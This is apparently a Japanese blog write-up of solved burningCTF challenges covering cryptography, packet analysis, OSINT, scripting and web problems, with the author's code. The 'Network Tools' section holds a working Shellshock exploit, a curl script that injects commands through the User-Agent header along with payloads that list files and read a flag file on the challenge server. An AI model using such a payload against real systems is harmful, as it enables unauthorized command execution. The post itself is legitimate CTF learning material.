burningCTFのwrite-upを書いてみる

burningCTFのWrite-Upを書いてみる。

解いたのは去年で今年は1問も解いてないから覚えていない問題も多少はある。去年の段階で70位くらいだったのに最終的に78位だったからちょっとダメだった気がする。

芸術

「 ワットイズディス?」と「毎日使う」が解けたけど割愛。

解読

image-level-5

ファイル名がMD5なのでMD5のDBで検索すると数字であると分かる。ファイルを数字で並べ替えるとフラグになる。

burning001

Ninjya Crypto

「忍者 暗号」でぐぐったら神代文字というのがHitした。ヤマトイエバ?の答えがフラグになる。

忍びいろは

電網

ftp is not secure

wiresharkでパケット眺めてるとftpでのファイルのやり取りが見える。これを抽出してtarを解凍して、その中のzipを展開。テキストファイルの中身をbase64をデコードする。

screenshot.04

ベーシック

Basic認証のユーザ名とパスワードにURLと資格情報が書かれてるからアクセスする。

screenshot.03

諜報

KDL

web archiveで調べたら出てくる。

Mr. nipps

twitterのツイートに付与されている位置情報を取得する

コード書こうと思ったら他の人の記事のサンプルが動いたのでそれを拝借した。

akiko-chan

ググれば出てくる。ポイントはGoogleの画像検索で画像ファイルをアップロードして検索すること。

記述

search_duplicate_character_string

Cでコード書いたら答え出た。

#include <stdio.h>
#include <string.h>

int main(){

char input[1000000];
scanf("%s",input);
int length = strlen(input);
printf("text length is %dn",length);

int longest=0,longest_x,longest_y;
int i,j,k;

for(i=0;i<=length;i++){
  for(j=i+1;j<=length;j++){
    for(k=0;k<=length-j;k++){
      if( input[i+k] != input[j+k] ){
        if(longest<=k && 5<=k){
          printf("[%d][%d]=%dn",i,j,k);

          longest=k;
          longest_x=i;
          longest_y=j;
          for(int m=0;m<longest;m++){
            printf("%c",input[longest_x+m]);
          }
          printf("n");
        }
        break;
      }
    }
  }
  if(i%10000==0) printf("search in [%d]n",i);
}
printf("Longest text is n------------------n");
for(int m=0;m<longest;m++){
  printf("%c",input[longest_x+m]);
}
printf("n------------------nFinished!!!!!!n");

}

FLAG:  f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><

Count Number Of Flag’s SubString!

curlで探索するシェルスクリプト書いて答え出した。ログファイルLOG.txtを事前に作る必要あるし汚い。変数つかって書き直したい。

#!/bin/bash

STR=""

while : ; do
  for a in a b c d e f g h i j k l m n o p q r s t u v w x y z _ { } ; do
    curl -s  "http://210.146.64.36:30840/count_number_of_flag_substring/?str=flag%3D{$STR$a" | sed -n '10p' | cut -c 30- | sed -e 's/&quot; are//g' | sed -e 's/</p>//g' > LOG.txt
    if test "1" = $(cat LOG.txt | awk {'print $2'}); then
      cat LOG.txt
      STR=$(cat LOG.txt | awk {'print $1'})
      break
    fi
    sleep 0.2
  done
done

FLAG: afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxri

解凍?

シェルスクリプト書いて答えだした。コード汚すぎる。

#!/bin/bash

while :
do

#FILE-NAME
FILENAME=`find ./ -type f -printf "%TY-%Tm-%Td %TH:%TM:%TS %pn" | sort -k6,7|cut -f3 -d " "|head -n1|cut -c3-`
echo FILENAME is $FILENAME

# FILE-TYPE
FILETYPE=`file $FILENAME | awk {'print $2'}`
echo FILETYPE is $FILETYPE

# FILE-RENAME
if test $FILENAME == "flag" -a $FILETYPE == "gzip"
then
  mv flag flag.gz
fi
if test $FILENAME == "flag" -a $FILETYPE == "Zip"
then
  mv flag flag.zip
fi
if test $FILENAME == "flag" -a $FILETYPE == "POSIX"
then
  mv flag flag.tar
fi
if test $FILENAME == "flag" -a $FILETYPE == "bzip2"
then
  mv flag flag.bz
fi

# FILE-TEXT
FILEEXT=.${FILENAME##*.}
echo FILEEXT is $FILEEXT

if test "0" != $(ls | wc -l)
then
  mkdir test
  cd test
else
  cd ..
fi

# echo NOW PATH is $(pwd)
case "$FILETYPE" in
"Zip" )
  echo "ZIP FILE ../"$FILENAME
  unzip -o ../$FILENAME
 ;;
"POSIX" )
  echo "POSIX(TAR) FILE ../"$FILENAME
  tar -xvf ../$FILENAME
 ;;
"gzip" )
  echo "GZIP FILE ../"$FILENAME
  gunzip -S .${FILENAME##*.} ../$FILENAME
  cd ..
 ;;
"bzip2" )
  echo "BZIP2 FILE ../"$FILENAME
  bunzip2 .${FILENAME##*.} ../$FILENAME
  cd ..
 ;;
esac

sleep 0.5

done

超文書転送術

GIFアニメ生成サイト

GIFファイルが連番で生成されていることに気が付いた。試しに最初の画像を見ようとしてみたら答えが出た気がした。

web-service

Network Tools

Bashのバージョン的にシェルショックかなと思った。httpリクエストのUserAgentを書き換えてパケット投げると任意のOSコマンドが実行できる。使えるコマンドがcd, python, echo, pwdくらいしか無い。echoでファイル一覧ファイル名を表示すれば答えが出る。ちなみにUA変えてパケット投げるの面倒だったからシェルスクリプト作った。

#!/bin/bash

curl -s -F "cmd=arp" -F "option=" -A "() { :;}; $1" http://210.146.64.37:60888/exec |tail -n +18 |sed -e 's/<[^<]*>;//g' |sed -e '/^  *$/d'

ファイル名一覧のUA () { :;}; echo *

net-tools_file-list

フラグのUA () { :;}; echo $(<flag.txt)

net-tools_flag

箱庭XSSと箱庭XSS2

まずnode.jsで固めてあるのを解凍する。解凍したhtmlをFirefoxで開いてfirebugで中身を見ていると答えが出てくる。

(2016-02-28:追記)大雑把すぎるのでQ1を解くまでの流れを細かく書いてみる。Q2はQ1と同じように解けば答えが出るから割愛。

ファイル構成を見たところelectronで作ってあることが分かる。内部はHTMLだろうと思ってそれっぽHTMLファイルを探してみたものの見つからない。いろいろ探しているとq1-app-win32-ia32/resources/の中に拡張子asarをもつファイルを見つけた。

検索してみたところasarファイルはnodejsで圧縮したファイルであるとわかった。リファレンスにしたがって以下のコマンドを実行する。事前にnode.jsの動く環境を構築する必要がある。

asar e app.asar apps

うまく実行できるとappというディレクトリが作成される。appディレクトリの中にあるindex.htmlが箱庭の中身なのでこれをFirefoxで開いてみる。Firebugで情報やJavaScriptを見ているとDOMのmessageにFLAGが表示されている。

screenshot.48

FLAG:  2ztJcvm2h52WGvZxF98bcpWv

screenshot.49

FLAG:  n2SCCerG4J9kDkHqvHJNhwr4

兵法

将棋はわかるから解けた。2問目だけ盤の数字がずれているから注意。

まとめ

全体として解けた問題がWebに偏ってる。バイナリもやらなきゃなぁと思いつつやれてない。

返信を残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です